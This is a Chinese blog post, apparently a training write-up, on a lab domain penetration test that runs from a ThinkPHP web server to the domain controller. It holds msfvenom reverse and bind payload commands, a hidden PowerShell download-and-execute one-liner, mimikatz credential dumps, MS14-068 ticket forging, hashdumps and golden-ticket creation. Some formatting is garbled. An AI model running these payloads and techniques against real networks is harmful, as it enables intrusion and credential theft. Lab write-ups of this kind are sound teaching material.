空觉道士'blog-

完整的内网域渗透

2020-8-6 21:27 作者:空觉道士 | 黑盒网络渗透测试 |

完整的内网域渗透

项目六 完整的内网域渗透...............................................................................................................1

 

1. 环境介绍

1.1.内网渗透环境

这个靶场是 webhack123 WEB 服务器有两块网卡 dc 是域控本文为技术培训技术文档,过程可能会让新人有点难以理解。过程是从 kali 渗透到 web 再渗透到内网 dc 也就是从外网打到域控

2.信息收集

2.1.masscan 端口探测

masscan -p 1-65535 192.168.0.150 --rate=1000

2.2.nmap 获取系统和端口版本信息

nmap -p 3306,49154,80,47001,49157,139,49153,445,135,49155,49156,49152 -A

192.168.0.150 -oA webhack

从端口探测的信息得到服务器是 WEB 容器是 phpstudy 套件操作系统是 Microsoft Windows Server 2008 R2

3.对网站进行安全检测

3.1.绑定 hosts

192.168.0.150 www.webhack123.com

发 www.webhack123.com 是一个 xxx 平台 核心框架是 ThinkPHP_3.1.3

后台暂时还不知道

3.2.gobuster 目录文件扫描

gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt

3.3.svn 遍历源代码漏洞

.svn存在可以遍历文件 但是这里失败

3.4.wc.db 文件下载

这个sqlite数据库文件 里面存在网站目录文件信息

svn如果没有获取 可以下载当前下的wc.db用 sqlitebrowser wc.db打开

下载 http://www.webhack123.com/.svn/wc.db

查看数据库 基本知道网站的整个架构

3.5.thinkphp 日志文件泄露

在ThinkPHP_3.1.3中 日志文件始开启的经过wc.db可以知道文件目录位置

http://www.webhack123.com/App/Runtime/Logs/19_06_29.log

3.6.python 编写日志文件

#coding:utf-8

import requests

url ="http://www.webhack123.com/App/Runtime/Logs"

def add_urls(patch,y): urls=[] for i in range(1,7):

for j in range(1,32): if i<10:

if j<10: urls.append(patch+"/%s_0%s_0%s.log" % (y,i,j)) else: urls.append(patch+"/%s_0%s_%s.log" % (y,i,j)) else:

if j<10: urls.append(patch+"/%s_%s_0%s.log" % (y,i,j)) else: urls.append(patch+"/%s_%s_%s.log" % (y,i,j))

return urls

urls = add_urls(url,"20")

for i in urls:

req=requests.get(i) if req.status_code==200: print(i)

html = req.text with open("webhack123.txt",'a',encoding='utf-8') as f:

f.write(html)

执行如下

3.7.发现管理密文

thinkphp 低版本在会记录修改密码的日志

账号 admin 密文 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

通过 somd5 解 web123

3.8.绑定 hosts 碰撞管理后台子域名

如果扫描目录后台 还是找不到后台可以试试绑定 hosts 碰撞子域名这种方法

最近有老哥写了一个脚本在 https://github.com/fofapro/Hosts_scan 脚本与我的需求有点

不合适小修改了一下自动导入 top3K 子域名进行穷举碰撞 IP 修改后的脚本

#!/usr/bin/python

# -*- coding: UTF-8 -*-

#Author:R3start

#这是一个用于 IP 和域名碰撞匹配访问的小工具

import requests import re

lists=[]

files = open('hosts_ok.txt','w+')

#读取 IP 地址

print("==================================== 开                                                            始                                                            匹                                                            配

====================================") for iplist in open("ip.txt"):

ip = iplist.strip('\n')

#读取 host 地址

#http_s = ['http://','https://'] http_s = ['http://'] for h in http_s :

for d in open("top3kdomain.txt",'r'):#moonsec d = d.strip('\n') for hostlist in open("host.txt",'r'):

host = d+"."+hostlist.strip('\n')

                                  headers   =   {'Host':host,'User-Agent':'Mozilla/5.0                           (Windows NT                          10.0;

WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}

try:

r = requests.session() requests.packages.urllib3.disable_warnings() rhost = r.get(h+ip,verify=False,headers=headers,timeout=5) rhost.encoding='utf-8' title = re.search('<title>(.*)</title>', rhost.text).group(1) #获取标题

info = '%s -- %s 协议: %s 数据包大小: %d 标题: %s' %

(ip,host,h,len(rhost.text),title) lists.append(info) files.write(info + "\n") print(info)

except Exception :

error = ip + " --- " + host + " --- 访问失败!~" print(error)

print("==================================== 匹 配 成 功 的 列 表

====================================") for i in lists:

print(i)

因为目标没用 https 协议 可以只用 http 协议进行碰撞测试

admin.webhack123.com 这个就是它的后台地址

3.9.后台验证码逻辑漏洞

可以穷举密码

3.10. 设置上传文件类型拿 webshell

4.metasploit 进行提权和信息收集

4.1.生成攻击载荷

phpstudy套件是默认是系统权限的直接上传执行exe就是高权限了

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.127 lport=12345 -f exe >s.exe

4.2.监听上线

msf5 > use exploit/multi/hander

[-] No results from search

[-] Failed to load module: exploit/multi/hander msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.0.127 lhost => 192.168.0.127 msf5 exploit(multi/handler) > set lport 12345 lport => 12345

msf5 exploit(multi/handler) > exploit

权限

meterpreter > getuid

Server username: WEB\Administrator

4.3.migrate 迁移进程

migrate 迁移到64位进程里 migrate 592进行到 system 方便我们的操作

4.4.mimikatz 哈希明文获取

load mimikatz meterpreter > wdigest [+] Running as SYSTEM

[*] Retrieving wdigest credentials wdigest credentials

===================

AuthID       Package       Domain              User                   Password

------        -------       ------              ----                    --------

0;46514      NTLM

0;997         Negotiate    NT AUTHORITY   LOCAL SERVICE

0;558301    NTLM            WEB                   Administrator    !@#Qwe456

0;996                                                                       Negotiate   HACKBOX

WEB$      @tB]xH/ka*ZmmIFokG1qiX#A#_ucF[yAQqI+VyKj]^NfcV9*ry"o$sfC)qN

%SA+]DvRq@htb.=_Mf;g?(N3y$:e5j[h5g#VngdcT'Ku92U TG^$cLzCnSIhw

0;999                                                                       Negotiate   HACKBOX

WEB$      @tB]xH/ka*ZmmIFokG1qiX#A#_ucF[yAQqI+VyKj]^NfcV9*ry"o$sfC)qN

%SA+]DvRq@htb.=_Mf;g?(N3y$:e5j[h5g#VngdcT'Ku92U TG^$cLzCnSIhw

meterpreter > tspkg [+] Running as SYSTEM

[*] Retrieving tspkg credentials tspkg credentials

=================

AuthID

Package          Domain

User                    Password

------

-------       ------                 ----

--------

0;996

Negotiate     HACKBOX

WEB$

0;46514

NTLM

 

0;997

Negotiate         NT AUTHORITY

LOCAL SERVICE

0;999

Negotiate     HACKBOX

WEB$

0;558301

NTLM              WEB

Administrator      !@#Qwe456

看到有hackbox域 用户web 本地管理员Administrator 密码 !@#Qwe456

5.跨网段域渗透

5.1.metasploit 跨网段的域渗透

这里我将用两个内网渗透神器进行域渗透下的域渗透分别是 metasploit 和 cobalt strike4.0

5.1.1.确定域环境

net config workstation

5.1.2.定位域控

run post/windows/gather/enum_domain

run post/windows/gather/enum_ad_computers

5.1.3.域信息收集

net time /domain 查看域控时间 net view 遍历信任主机 net view /domain 查看域

net view /domain:hackbox

查看域组失败 其他查看组信息均失败 net group /domain

ifconfig 得到两个 ip 段

10.10.10.150 192.168.0.150

arp

5.1.4.终端设置乱码

在metasploit终端使用shell返回的信息会有乱码,可以设置编码防止乱码

chcp 65001

5.1.5.终端执行命令信息收集命令

ipconfig /all

dns 10.10.10.149

dns 一般都是与域控同一个 ip

DC

10.10.10.149

WEB

10.10.10.150

5.1.6.获取登录过的用户信息

run post/windows/gather/enum_logged_on_users

5.1.7.添加路由渗透 DC 域控

run autoroute -s 10.10.10.0/24

5.1.8.开启代理

use auxiliary/server/socks4a

5.1.9.设置 porychanins 代理 nmap 扫描

proxychains nmap -sT -A -Pn

10.10.10.149

Nmap scan report for 10.10.10.149 Host is up (0.98s latency).

Not shown: 982 closed ports

PORT

STATE SERVICE

53/tcp

open

domain

88/tcp

open

kerberos-sec

135/tcp

open

msrpc

139/tcp

open

netbios-ssn

389/tcp

open

ldap

445/tcp

open

microsoft-ds

464/tcp

open

kpasswd5

593/tcp

open

http-rpc-epmap

636/tcp

open

ldapssl

3268/tcp

open

globalcatLDAP

3269/tcp

open

globalcatLDAPssl

49152/tcp open

unknown

49153/tcp open

unknown

49154/tcp open

unknown

49156/tcp open

unknown

49157/tcp open

unknown

49158/tcp open

unknown

49163/tcp open

unknown

5.1.10. 永恒之蓝 ms17_010 进行溢出

溢出失败

5.1.11.   ms14-068 的条件

使用这个 exp 需要一个普通域控用户 web 是域用户 但是不知道密码

5.1.12. 开启远程桌面

run post/windows/manage/enable_rdp rdesktop 192.168.0.150

密码应该是对的 但不是远程组而已

5.1.13.   ms14-068 提权域控

5.1.13.1. ms14-068.exe 创建票据

这些信息从 metasploit 前期信息来的,可以翻到上面查看

ms14-068.exe -u web@hackbox.com -s

S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

5.1.13.2. 载入 kiwi

load kiwi

5.1.13.3. 清理票据

kerberos_ticket_purge 清理票据

5.1.13.4. 导入票据

在 metasploit mimikatz 好似没有这个功能。

上传 mimikatz 注入票据

mimikatz # kerberos::ptc TGT_web@hackbox.com.ccache

exit

klist 查看当前票据

访问 dc 域控

5.1.14. 获取 dc 域控权限

5.1.14.1. 生成正向载荷

msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe >`pwd`/bind.exe

5.1.14.2. copy 复制到域控

c:\phpstudy_pro\WWW\www.webhack123.com>copy bind.exe \\dc\C$\ copy bind.exe \\dc\C$\ 1 file(s) copied.

5.1.14.3. at 执行任务运行 exe

c:\phpstudy_pro\WWW\www.webhack123.com>at at

There are no entries in the list.

c:\phpstudy_pro\WWW\www.webhack123.com>at \\dc at \\dc

There are no entries in the list.

c:\phpstudy_pro\WWW\www.webhack123.com>net time \\dc net time \\dc

Current time at \\dc is 2020/6/21 23:53:07 The command completed successfully.

c:\phpstudy_pro\WWW\www.webhack123.com>at \\dc 23:55:00 c:/bind.exe at \\dc 23:55:00 c:/bind.exe

Added a new job with job ID = 1

5.1.14.4. 获取域控权限命令

复制文件到目标

copy bind.exe \\dc\C$\ 查询 dc 时间 net time \\dc 增加任务执行

at \\dc 23:55:00 c:/bind.exe

连接域控

use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf5 exploit(multi/handler) > set rhost 10.10.10.149 rhost => 10.10.10.149 msf5 exploit(multi/handler) > set lport 13777 lport => 13777 msf5 exploit(multi/handler) > exploit

5.1.15. 获取 dc 域控哈希明文

迁移进程

migrate 388 meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.

[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...] [*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 36ce7093f2a02644f802d363ec425289...

/usr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant

OpenSSL::Cipher::Cipher is deprecated [*] Obtaining the user list and keys...

[*] Decrypting user keys...

/usr/share/metasploit-framework/lib/rex/script/base.rb:268: warning: constant

OpenSSL::Cipher::Cipher is deprecated

/usr/share/metasploit-framework/lib/rex/script/base.rb:272: warning: constant

OpenSSL::Cipher::Cipher is deprecated

/usr/share/metasploit-framework/lib/rex/script/base.rb:279: warning: constant

OpenSSL::Cipher::Cipher is deprecated [*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f 1c3b33:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::

load mimikatz tspkg

5.1.16. 抓域控全部 hash

run post/windows/gather/smart_hashdump

[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33

[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98

[+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074

[+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:35038905f0fcf79eca3d8fff28f94f87

[+]   WEB$:1104:aad3b435b51404eeaad3b435b51404ee:fd0c8f5bc45e86c9ca5c8a289

5.1.17. 制作黄金票据

考虑长期权维护,还是做一个黄金票据比较保险。

5.1.18. 获取 ntml sid rid

wmic useraccount where name="krbtgt" get sid

5.1.19. 窃取 域控超级管理权限

系统权限没办法做dcsync 所以切换域管理权限

steal_token 2812 dcsync_ntlm krbtgt

5.1.20. 生成黄金票据

golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket 本地存储路径如:/tmp/krbtgt.ticket>

golden_ticket_create -d hackbox.com -u moonsec -s S-1-5-21-2005268815-658469957-1189185684 -k

6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket

5.1.21. 注入黄金票据

切换到 web 服务器 把凭据都清理掉

kerberos_ticket_use /tmp/test.ticket dir \\dc\c$

5.2.cobaltstrike 进行内网域渗透

5.2.1.建立 teamserver

./teamserver 192.168.0.127 4477

设置好监听器

5.2.2.在 web 服务器上执行下载 poershell 恶意代码

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.127:80/a'))"

5.2.3.设置间隔时间

进入 beacon

设置间隔时间 sleep 0 不然会影响后面的操作

5.2.4.获取 hash 获取域内信任主机

5.2.5.扫描域内主机

5.2.6.cs 里面集合了很多 net 命令

可以使用这些命令,方便快捷收集域信息

5.2.7.cobaltstrike mimikatz web 服务获取明密文

5.2.8.dir 访问域控 dc

5.2.9.cobaltstrike ms14-068 提权到域控

转换的时候出错 估计是文件类型问题

5.2.9.1. 在 py 脚本下创建票据

root@kali:~/Desktop/webhack123/pykek# set +H root@kali:~/Desktop/webhack123/pykek# proxychains python ms14-068.py -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

5.2.9.2. KrbCredExport 将 .ccache 文件转化为 kirbi 格式

python KrbCredExport.py ../pykek/TGT_web@hackbox.com.ccache user.ticket

5.2.9.3. 导入票据访问 dc

导入票据

kerberos_ticket_use C:\user.ticket

访问域控 dc

5.2.10. 获取 dc 域控权限

现在只有访问 dc 域控的权限,接下来是 dc 域控的控制权限

5.2.10.1. 设置 smb 连接器

生成后门文件 选择 smb 因为是正向连接 如果使用反向链接 需要做转发 比较麻烦

5.2.10.2. 复制文件到 dc 域控并运行

shell at \\dc 15:05:00 c:/aaa.exe

5.2.10.3. 在 beacon 正向连接上 dc

link dc

5.2.11. 获取 dc 明文哈希

命令输入 mimikatz hashdump

5.2.12. cobaltstrike 制作黄金票据

5.2.12.1. 在域控上执行命令导出 krbtgt 信息

beacon> dcsync hackbox.com hackbox\krbtgt

5.2.12.2. 在 web 上制作黄金票据

mimikatz kerberos::golden /user:moon /domain:hackbox.com

/sid:S-1-5-21-2005268815-658469957-1189185684

/krbtgt:6f60ace6accbcb76078ccc0312174e98 /endin:480 /renewmax:10080 /ptt

制作前访问 dc 失败

制造后访问 dc 成功

6.FLAG 获取

6.1.web flag1

6.2.web flag2

6.3.dc flag3

文章作者:空觉道士
文章地址:https://youku.hk:443/post-186.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

评论列表:

Tkitn

评论时间:2020-11-16 23:39
hello 老哥 这个靶场能分享一下 或者告知是什么平台吗 想来玩一下

发表评论:



Powered by 空觉道士'blog

CopyRight © 2009-2016 空觉道士'blog.  All rights reserved.